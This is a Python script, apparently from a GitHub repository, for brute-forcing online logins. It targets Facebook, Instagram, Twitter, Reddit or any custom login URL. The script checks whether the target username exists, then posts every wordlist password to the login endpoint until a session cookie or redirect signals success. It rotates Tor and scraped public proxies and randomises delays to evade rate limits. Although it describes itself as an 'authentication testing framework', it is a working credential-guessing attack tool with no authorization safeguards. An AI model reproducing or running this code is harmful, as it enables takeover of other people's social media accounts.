-
-
Notifications
You must be signed in to change notification settings - Fork 36
/
Copy pathdevbrute.py
356 lines (304 loc) · 15.2 KB
/
devbrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
import argparse
import base64
import hashlib
import json
import os
import random
# Define avoidance patterns
import re
import signal
import socket
import subprocess
from importlib import reload
import sys
import threading
import time
import urllib
import urllib.parse
import urllib.request
import webbrowser
from time import sleep
import requests
from proxyscrape import create_collector, get_collector
from requests.exceptions import RequestException, Timeout
avoidance_patterns = [
r"^[0-9]+$", # Avoid using all numeric passwords
r"^[a-zA-Z]+$", # Avoid using all alphabetic passwords
r"^[a-zA-Z0-9]+$", # Avoid using alphanumeric patterns
# Add more patterns as needed
]
# Define proxies
proxies = [
"http://1.1.1.1:8080",
"http://2.2.2.2:8080",
# Add more proxies as needed
]
# Set up a proxy collector (for proxy rotation)
# proxy_collector = create_collector("my_collector", "http")
class Bruter:
def __init__(self, service, username, wordlist, delay, fb_name=None, verbose=False):
self.service = service
self.username = username
self.wordlist = wordlist
self.delay = delay
self.fb_name = fb_name
self.session = requests.Session()
self.verbose = verbose
self.attempts = 0
self.start_time = time.time()
# Initialize proxy list
self.proxies = [
"socks5://127.0.0.1:9050", # Default Tor proxy
"http://127.0.0.1:8080", # Default HTTP proxy
]
try:
# Try to get proxies from proxyscrape
collector = create_collector('my_collector', ['http', 'https'])
proxy_list = collector.get_proxies()
if proxy_list:
self.proxies.extend([f"http://{proxy.host}:{proxy.port}" for proxy in proxy_list])
except Exception as e:
if self.verbose:
print(f"[Warning] Error loading proxies: {str(e)}")
print("[*] Using default proxy configuration")
# Set service-specific URLs and login data formats
self.service_configs = {
'facebook': {
'url': 'https://www.facebook.com/login',
'data': lambda u, p: {'email': u, 'pass': p},
'success': lambda r: 'c_user' in r.cookies
},
'instagram': {
'url': 'https://www.instagram.com/accounts/login/ajax/',
'data': lambda u, p: {'username': u, 'password': p},
'success': lambda r: '"authenticated": true' in r.text
},
'twitter': {
'url': 'https://twitter.com/i/flow/login',
'data': lambda u, p: {'username': u, 'password': p},
'success': lambda r: 'auth_token' in r.cookies
},
'reddit': {
'url': 'https://www.reddit.com/login',
'data': lambda u, p: {'user': u, 'passwd': p},
'success': lambda r: 'reddit_session' in r.cookies
}
}
def get_random_proxy(self):
"""Get a random proxy from the list or None if no proxies available"""
try:
proxy = random.choice(self.proxies)
return {
'http': proxy,
'https': proxy
}
except IndexError:
if self.verbose:
print("[Warning] No proxies available, continuing without proxy")
return None
def clean_exit(self):
os.system("rm -rf tmp/")
exit(1)
def execute(self):
print(f"\n[*] Checking if user '{self.username}' exists...")
if self.usercheck(self.username) == 1:
print(f"[Error] Username '{self.username}' does not exist")
exit(1)
if self.service.startswith('http'):
print("[*] Custom URL: Skipping username check")
else:
print(f"[+] Username '{self.username}' found")
self.webBruteforce(self.username, self.wordlist, self.service, self.delay)
def usercheck(self, username):
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Connection': 'keep-alive',
}
# Handle custom URLs differently
if self.service.startswith('http'):
# For custom URLs, skip user check
return 0
# Service-specific user checks
if self.service == "facebook":
if self.fb_name:
r = self.session.get(f"https://www.facebook.com/public/{self.fb_name}", headers=headers)
return 0 if "We couldn't find anything" not in r.text else 1
return 0
elif self.service == "instagram":
r = self.session.get(f"https://www.instagram.com/{username}?__a=1", headers=headers)
return 0 if r.status_code != 404 else 1
elif self.service == "twitter":
r = self.session.get(f"https://twitter.com/{username}", headers=headers)
return 0 if r.status_code != 404 else 1
elif self.service == "reddit":
r = self.session.get(f"https://www.reddit.com/user/{username}/about.json", headers=headers)
return 0 if r.status_code != 404 else 1
# For other predefined services
elif self.service in self.service_configs:
# Skip user check for other predefined services for now
return 0
# Default case
return 0
except RequestException as e:
print(f"[Warning] Error checking username: {str(e)}")
# If there's an error checking the username, continue anyway
return 0
def webBruteforce(self, username, wordlist, service, delay):
# Add cool banner
print("""
\033[91m╔══════════════════════════════════════════════════════════════╗
║ \033[93m██████╗ ███████╗██╗ ██╗██████╗ ██████╗ ██╗ ██╗████████╗███████╗\033[91m ║
║ \033[93m██╔══██╗██╔════╝██║ ██║██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝\033[91m ║
║ \033[93m██║ ██║█████╗ ██║ ██║██████╔╝██████╔╝██║ ██║ ██║ █████╗\033[91m ║
║ \033[93m██║ ██║██╔══╝ ╚██╗ ██╔╝██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝\033[91m ║
║ \033[93m██████╔╝███████╗ ╚████╔╝ ██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗\033[91m ║
║ \033[93m╚═════╝ ╚══════╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝\033[91m ║
╚══════════════════════════════════════════════════════════════╝\033[0m
""")
# Handle custom URL if service is not predefined
if service.startswith('http'):
target_url = service
is_custom = True
else:
if service not in self.service_configs:
print(f"[Error] Unsupported service: {service}")
print("Available services:", ', '.join(self.service_configs.keys()))
print("Or use full URL (e.g., https://example.com/login)")
exit(1)
target_url = self.service_configs[service]['url']
is_custom = False
# Show target info in a box
print("\033[94m┌─────────────── Target Information ───────────────┐")
print(f"│ URL : {target_url}")
print(f"│ Username : {username}")
print(f"│ Wordlist : {wordlist}")
print(f"│ Delay : {delay} seconds")
print("└──────────────────────────────────────────────────┘\033[0m")
with open(wordlist, "r") as f:
passwords = f.readlines()
total_passwords = len(passwords)
print("\033[95m[*] Starting authentication testing sequence...\033[0m\n")
for password in passwords:
self.attempts += 1
password = password.strip()
# Progress bar
progress = int((self.attempts / total_passwords) * 30)
sys.stdout.write('\r\033[K')
sys.stdout.write(f"\033[96m[{'=' * progress}{' ' * (30-progress)}] {self.attempts}/{total_passwords}\033[0m")
sys.stdout.flush()
try:
proxies = self.get_random_proxy()
time.sleep(random.uniform(delay, delay * 2))
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': target_url,
'Connection': 'keep-alive',
}
if is_custom:
data = {
'username': username,
'email': username,
'user': username,
'password': password,
'pass': password,
'passwd': password
}
else:
data = self.service_configs[service]['data'](username, password)
r = self.session.post(
target_url,
data=data,
headers=headers,
proxies=proxies if proxies else None,
allow_redirects=True,
timeout=10
)
# Enhanced output formatting
status_color = '\033[93m' # Default yellow
if r.status_code == 200:
status_color = '\033[92m' # Green
status_icon = '✓'
elif r.status_code == 403:
status_color = '\033[91m' # Red
status_icon = '✗'
else:
status_icon = '•'
print(f"\n{status_color}[{status_icon}] HTTP {r.status_code} | Password: {password} | Size: {len(r.text):,} bytes\033[0m")
if 'location' in r.headers:
print(f"\033[94m[→] Redirect: {r.headers['location']}\033[0m")
# Check for success
if is_custom:
success = any([
'dashboard' in r.url,
'welcome' in r.url,
'home' in r.url,
'success' in r.text.lower(),
'welcome' in r.text.lower(),
r.status_code == 302
])
else:
success = self.service_configs[service]['success'](r)
if success:
print(f"""
\033[92m╔══════════════════ SUCCESS ══════════════════╗
║ Password Found! ║
║ Username: {username:<35} ║
║ Password: {password:<35} ║
║ Attempts: {self.attempts:<35} ║
║ Time: {time.time() - self.start_time:.2f} seconds{' '*27} ║
╚═════════════════════════════════════════════╝\033[0m
""")
return True
except RequestException as e:
print(f"\n\033[91m[✗] Error: {str(e)} | Password: {password}\033[0m")
if proxies:
print(f"\033[91m[!] Failed Proxy: {proxies['http']}\033[0m")
continue
print(f"""
\033[91m╔══════════════════ FINISHED ══════════════════╗
║ Password not found ║
║ Total Attempts: {self.attempts:<29} ║
║ Time Elapsed: {time.time() - self.start_time:.2f} seconds{' '*22} ║
╚═════════════════════════════════════════════╝\033[0m
""")
return False
def main():
parser = argparse.ArgumentParser(
description="Advanced Web Application Authentication Testing Framework"
)
required = parser.add_argument_group("required arguments")
required.add_argument("-s", "--service", dest="service", required=True,
help="Service name (facebook, instagram, etc.) or full URL")
required.add_argument("-u", "--username", dest="username", required=True)
required.add_argument("-w", "--wordlist", dest="password", required=True)
parser.add_argument("-d", "--delay", type=int, dest="delay", default=1,
help="Delay between attempts (default: 1)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Show detailed output for each attempt")
args = parser.parse_args()
service = args.service
username = args.username
wordlist = args.password
delay = args.delay or 1
fb_name = None # Initialize fb_name with None by default
if not os.path.exists(wordlist):
print("[Error] Wordlist not found")
exit(1)
if service == "facebook":
fb_name = input("Please Enter the Name of the Facebook Account: ")
os.system("clear")
br = Bruter(service, username, wordlist, delay, fb_name=fb_name, verbose=args.verbose)
br.execute()
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n\033[91m[!] Operation cancelled by user\033[0m")
os.system("rm -rf tmp/")
exit(1)